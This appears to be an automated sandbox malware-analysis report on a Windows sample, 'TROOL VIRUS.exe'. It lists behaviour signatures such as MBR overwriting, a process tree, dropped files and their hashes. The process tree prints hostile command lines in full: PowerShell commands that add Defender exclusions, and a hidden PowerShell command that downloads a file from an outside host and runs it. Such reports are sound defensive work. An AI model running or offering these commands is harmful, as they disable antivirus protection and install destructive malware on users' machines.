Analysis

  • max time kernel
    24s
  • max time network
    37s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260130-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260130-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    17/04/2026, 11:30

Errors

Reason
Machine shutdown

General

  • Target
    TROOL VIRUS.exe
  • Size 1.1MB
  • Sample260417-nmacpsft4z
  • SHA256 42b97532cd86de122c2dde5d9eeeb176adbe4be9cb3b5afe94f0876ce8e0d3d9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Disables Task Manager via registry modification
  • Checks computer location settings 2 TTPs 5 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 10 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 55 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\TROOL VIRUS.exe
    "C:\Users\Admin\AppData\Local\Temp\TROOL VIRUS.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4528
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\dllhost.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:6012
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'dllhost.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5096
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp2630.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5592
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:2560
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:4336
  • C:\Users\Admin\AppData\Roaming\dllhost.exe
    C:\Users\Admin\AppData\Roaming\dllhost.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:5136
  • C:\Users\Admin\AppData\Roaming\dllhost.exe
    "C:\Users\Admin\AppData\Roaming\dllhost.exe"
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1384
    • C:\Users\Admin\AppData\Roaming\Virus.exe
      "C:\Users\Admin\AppData\Roaming\Virus.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2884
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5844
    • C:\Users\Admin\AppData\Roaming\PEEKABOO.COM
      "C:\Users\Admin\AppData\Roaming\PEEKABOO.COM"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2732
      • C:\Users\Admin\AppData\Roaming\MBR2.exe
        "C:\Users\Admin\AppData\Roaming\MBR2.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of WriteProcessMemory
        PID:3628
        • C:\Windows\System32\MatrixMBR.exe
          "C:\Windows\System32\MatrixMBR.exe"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:5312
          • C:\Users\Admin\AppData\Local\Temp\GDI.exe
            "C:\Users\Admin\AppData\Local\Temp\GDI.exe"
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:5888
          • C:\Users\Admin\AppData\Local\Temp\MBR.exe
            "C:\Users\Admin\AppData\Local\Temp\MBR.exe"
            5⤵
            • Executes dropped EXE
            • Writes to the Master Boot Record (MBR)
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:4956
      • C:\Users\Admin\AppData\Roaming\TROLL5.exe
        "C:\Users\Admin\AppData\Roaming\TROLL5.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:3756
      • C:\Users\Admin\AppData\Roaming\TROLL2.exe
        "C:\Users\Admin\AppData\Roaming\TROLL2.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:4172
  • C:\Windows\system32\AUDIODG.EXE
    C:\Windows\system32\AUDIODG.EXE 0x3f4 0x16c
    1⤵
      PID:720

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          dllhost.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\dllhost.exe.log
          • Size 1KB
          • SHA256 a1ac1f065ecfcaaded0544844106cfa4aca48acad49fd347eb238561a91655b0
          • MD5 SHA1 SHA512 TLSH

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 3KB
          • SHA256 c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 bb87d18873b646c62523165e28afa0813b4c5efa8c0a51f801cdcf795576b31b
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 e70b2a0bdfdda80446086f4b565ee35b8de966103b139cd734550fb42b44cba5
          • MD5 SHA1 SHA512 TLSH

          GDI.exe

          • Path C:\Users\Admin\AppData\Local\Temp\GDI.exe
          • Size 11KB
          • SHA256 e153def894c867923dd56a7025b7b0b7bd3ee37c801a5957201d39f999bb28bf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MBR.exe

          • Path C:\Users\Admin\AppData\Local\Temp\MBR.exe
          • Size 93KB
          • SHA256 acddde9514e3b9d5c40b3d1750af5f4187c99f8987b027d6da44fb6bcf79b3ca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_mxocxokh.blp.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mxocxokh.blp.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          tmp2630.tmp.bat

          • Path C:\Users\Admin\AppData\Local\Temp\tmp2630.tmp.bat
          • Size 163B
          • SHA256 1198dc33228cffc2c08bdbbc85f3b01037d9fc52b2809f0e4628961350789f85
          • MD5 SHA1 SHA512 TLSH

          MBR2.exe

          • Path C:\Users\Admin\AppData\Roaming\MBR2.exe
          • Size 205KB
          • SHA256 c22e2419f04fe03a92255a139ca8814697962e86d191a1d4171788fd0c903f68
          • MD5 SHA1 SHA512 SSDEEP TLSH

          PEEKABOO.COM

          • Path C:\Users\Admin\AppData\Roaming\PEEKABOO.COM
          • Size 921KB
          • SHA256 c1aeab35f61f12db28274d82713bff400b808625854a18e49504022f92805e31
          • MD5 SHA1 SHA512 SSDEEP TLSH

          TROLL2.exe

          • Path C:\Users\Admin\AppData\Roaming\TROLL2.exe
          • Size 105KB
          • SHA256 dcdf5140bc51db27f3aec80ae9a66a57aad446a2522904d288770e8d8cde8cee
          • MD5 SHA1 SHA512 SSDEEP TLSH

          TROLL5.exe

          • Path C:\Users\Admin\AppData\Roaming\TROLL5.exe
          • Size 712KB
          • SHA256 79f00c7dab0891824136539fabd542c74e26cbed94b9add3f1aa7f793d653de6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Virus.exe

          • Path C:\Users\Admin\AppData\Roaming\Virus.exe
          • Size 35KB
          • SHA256 089d7c51ca72a200f0e061ef19a084ee60e88e5309b1c44e3625a9df7056b9e3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          dllhost.exe

          • Path C:\Users\Admin\AppData\Roaming\dllhost.exe
          • Size 1.1MB
          • SHA256 42b97532cd86de122c2dde5d9eeeb176adbe4be9cb3b5afe94f0876ce8e0d3d9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MatrixMBR.exe

          • Path C:\Windows\System32\MatrixMBR.exe
          • Size 250KB
          • SHA256 339fe94164952a8454e6ec5fc75e2c38baade2c14b231e47bf41989ffbb55ee4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1384-127-0x0000000000D90000-0x0000000000D9C000-memory.dmp

          memory/1384-39-0x000000001B330000-0x000000001B428000-memory.dmp

          memory/2732-63-0x0000000000460000-0x000000000054C000-memory.dmp

          memory/2732-64-0x000000001B310000-0x000000001B3F4000-memory.dmp

          memory/2732-109-0x0000000000CF0000-0x0000000000CFC000-memory.dmp

          memory/2884-59-0x0000000000810000-0x0000000000820000-memory.dmp

          memory/3628-92-0x0000000000D80000-0x0000000000DBA000-memory.dmp

          memory/3628-145-0x0000000002D00000-0x0000000002D0C000-memory.dmp

          memory/3756-111-0x0000000005EA0000-0x0000000006446000-memory.dmp

          memory/3756-113-0x0000000005990000-0x000000000599A000-memory.dmp

          memory/3756-110-0x0000000000DB0000-0x0000000000E68000-memory.dmp

          memory/3756-146-0x0000000005720000-0x0000000005794000-memory.dmp

          memory/3756-112-0x00000000058F0000-0x0000000005982000-memory.dmp

          memory/4172-147-0x0000000000400000-0x000000000041D000-memory.dmp

          memory/4528-0-0x0000000000D00000-0x0000000000E28000-memory.dmp

          memory/4528-37-0x00000000015D0000-0x00000000015DC000-memory.dmp

          memory/4528-1-0x0000000001660000-0x0000000001670000-memory.dmp

          memory/5096-26-0x000002779EEE0000-0x000002779EEEC000-memory.dmp

          memory/5312-143-0x0000000000DC0000-0x0000000000E06000-memory.dmp

          memory/5312-175-0x00000000015A0000-0x00000000015AC000-memory.dmp

          memory/5844-126-0x0000021BB2340000-0x0000021BB234C000-memory.dmp

          memory/5888-167-0x0000000000630000-0x0000000000638000-memory.dmp

          memory/6012-4-0x00000211F0CE0000-0x00000211F0CF0000-memory.dmp

          memory/6012-15-0x00000211D8640000-0x00000211D864C000-memory.dmp

          memory/6012-5-0x00000211F0C60000-0x00000211F0C82000-memory.dmp

          memory/6012-3-0x00000211F0CE0000-0x00000211F0CF0000-memory.dmp